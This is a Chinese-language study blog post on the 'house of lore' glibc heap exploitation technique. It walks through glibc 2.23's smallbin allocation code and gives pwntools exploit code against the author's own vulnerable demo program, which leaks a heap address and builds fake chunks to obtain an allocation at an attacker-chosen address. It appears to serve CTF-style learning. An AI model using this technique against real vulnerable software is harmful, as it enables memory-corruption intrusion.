house of lore

文章发布时间:

最后更新时间:

文章总字数:
864

预计阅读时间:
3 分钟

一种基于smallbin的任意写的攻击手法 不过要求非常高 需要先修改ptr_addr处 以此来绕过检查 所以我感觉是非常鸡肋的一种手法 不过还是记录一下

源码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
 if (in_smallbin_range (nb))
{
idx = smallbin_index (nb);
bin = bin_at (av, idx);

if ((victim = last (bin)) != bin)
{
if (victim == 0) /* initialization check */
malloc_consolidate (av);
else
{
bck = victim->bk;
if (__glibc_unlikely (bck->fd != victim))
{
errstr = "malloc(): smallbin double linked list corrupted";
goto errout;
}
set_inuse_bit_at_offset (victim, nb);
bin->bk = bck;
bck->fd = bin;

if (av != &main_arena)
victim->size |= NON_MAIN_ARENA;
check_malloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
}
}

这段源码调用是在申请smallbin中的free chunk时

1
2
idx = smallbin_index (nb);
bin = bin_at (av, idx);

这两句的作用在于获取smallbin的指针 idx的值为5 bin_at函数依据idx来搜寻对应的chunk

image-20230429205741099

last (bin)实际上是一个宏定义

1
#define last(b)      ((b)->bk)

如果其与bin本身相等 则无法进入判断 wiki上的解释是说明此时链表为空 但是我测试如果利用malloc_consolidate来把fastbin放入smallbin 貌似也过不了判断

过了if后 还会进行一次判断 此时是判断small bin有没有进行初始化 如果初始化了就进入第二个分支

1
__glibc_unlikely (bck->fd != victim)

如果绕过这个判断就是实现本次攻击手法的关键

对于bck->fd指向的地址做了检测 而bck是通过这条赋值的

1
bck = victim->bk;

也就是说我们要构造成下面这样

image-20230429215526887

之所以还要一个fake chunk2 是因为 如果只有fake chunk1 那么我们通过的是将attack_chunk从smallbin中申请出来的那次判断 此时plmalloc误判把fake chunk接到了 smallbin的倒数第二个 下次再次申请合适大小的chunk 就会申请到fake chunk

而要把fake chunk申请出来的话 就得再进行一次判断 也就用到了fake chunk2 不过这一点倒不是很需要担心 这需要对fake chunk的地址延申几个字长出来 用来充当fake chunk2就可以了

实际利用

演示程序: 由我自己编写 包含UAF 堆溢出等漏洞

演示环境: ubuntu20 替换libc为libc2.23

1
2
3
4
5
6
7
8
9
10
11
12
13
14
fake_chunk1 = elf.bss(0x500)
fake_chunk2 = elf.bss(0x700)
add(0x100)#0
add(0x10)#1
add(0x10)#2
delete(0)
add(0x200)#3
delete(1)
delete(2)
debug()
show(2)
io.recv()
heap_addr = u64(io.recvuntil("\x0a",drop = True).ljust(8,b'\x00'))-0x110
success("heap_addr :"+hex(heap_addr))

首先需要泄露堆地址 以便我们进行fake chunk的构造

image-20230429220705115

随后进行fakechunk1和fakechunk2的构造 为了省事我程序自带了一个任意写的函数 具体题目的话 需要自己根据情况来构造

1
2
3
4
5
6
7
payload = p64(0)+p64(fake_chunk1)
edit(0,len(payload),payload)
chunk_addr = heap_addr
payload = p64(0)*2 + p64(chunk_addr)+p64(fake_chunk2)
write_somewhere(fake_chunk1,payload)
payload = p64(0)*2 + p64(fake_chunk1)
write_somewhere(fake_chunk2,payload)

随后就是申请两个和smallbin chunk同样大小的chunk 第二个就会申请到fake chunk1的位置

1
2
add(0x100)#4
add(0x100)#5

image-20230429221039938

同时你可以注意到 fake chunk1和fake chunk2其实就隔一点字长就行 我上面还给空了0x100字节 其实就利用同一次任意写输入即可

总结

我是对这个办法不太报希望 因为利用难度比较高 需要前提就具备一个已知地址任意写的漏洞 少数题目可能会提供 或者需要跟其他链配合利用 属于是单个存在没有什么用的链吧 我感觉 以后可能会打脸